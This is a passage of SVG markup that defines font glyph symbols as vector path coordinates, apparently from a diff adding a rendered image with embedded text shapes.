7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 0 2.84375 L 6.796875 2.84375 L 6.796875 4.171875 L 0 4.171875 Z M 0 2.84375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 1.296875 -14.234375 C 1.515625 -14.273438 1.753906 -14.304688 2.015625 -14.328125 C 2.285156 -14.347656 2.554688 -14.359375 2.828125 -14.359375 C 3.097656 -14.367188 3.363281 -14.375 3.625 -14.375 C 3.894531 -14.382812 4.144531 -14.390625 4.375 -14.390625 C 5.363281 -14.390625 6.203125 -14.21875 6.890625 -13.875 C 7.578125 -13.539062 8.140625 -13.054688 8.578125 -12.421875 C 9.015625 -11.796875 9.328125 -11.039062 9.515625 -10.15625 C 9.703125 -9.28125 9.796875 -8.300781 9.796875 -7.21875 C 9.796875 -6.238281 9.703125 -5.300781 9.515625 -4.40625 C 9.335938 -3.507812 9.03125 -2.722656 8.59375 -2.046875 C 8.164062 -1.367188 7.59375 -0.828125 6.875 -0.421875 C 6.164062 -0.015625 5.273438 0.1875 4.203125 0.1875 C 4.023438 0.1875 3.800781 0.179688 3.53125 0.171875 C 3.257812 0.160156 2.976562 0.144531 2.6875 0.125 C 2.394531 0.113281 2.125 0.0976562 1.875 0.078125 C 1.625 0.0664062 1.429688 0.046875 1.296875 0.015625 Z M 4.453125 -12.984375 C 4.316406 -12.984375 4.171875 -12.984375 4.015625 -12.984375 C 3.859375 -12.984375 3.703125 -12.976562 3.546875 -12.96875 C 3.398438 -12.957031 3.265625 -12.941406 3.140625 -12.921875 C 3.015625 -12.910156 2.910156 -12.898438 2.828125 -12.890625 L 2.828125 -1.296875 C 2.878906 -1.285156 2.972656 -1.273438 3.109375 -1.265625 C 3.253906 -1.265625 3.40625 -1.257812 3.5625 -1.25 C 3.71875 -1.238281 3.867188 -1.226562 4.015625 -1.21875 C 4.160156 -1.21875 4.265625 -1.21875 4.328125 -1.21875 C 5.078125 -1.21875 5.703125 -1.378906 6.203125 -1.703125 C 6.703125 -2.035156 7.097656 -2.472656 7.390625 -3.015625 C 7.679688 -3.566406 7.882812 -4.203125 8 -4.921875 C 8.125 -5.648438 8.1875 -6.421875 8.1875 -7.234375 C 8.1875 -7.953125 8.128906 -8.65625 8.015625 -9.34375 C 7.910156 -10.039062 7.71875 -10.65625 7.4375 -11.1875 C 7.164062 -11.726562 6.789062 -12.160156 6.3125 -12.484375 C 5.832031 -12.816406 5.210938 -12.984375 4.453125 -12.984375 Z M 4.453125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 6.765625 -3.984375 L 2.75 -3.984375 L 1.609375 0 L 0.109375 0 L 4.390625 -14.453125 L 5.21875 -14.453125 L 9.515625 0 L 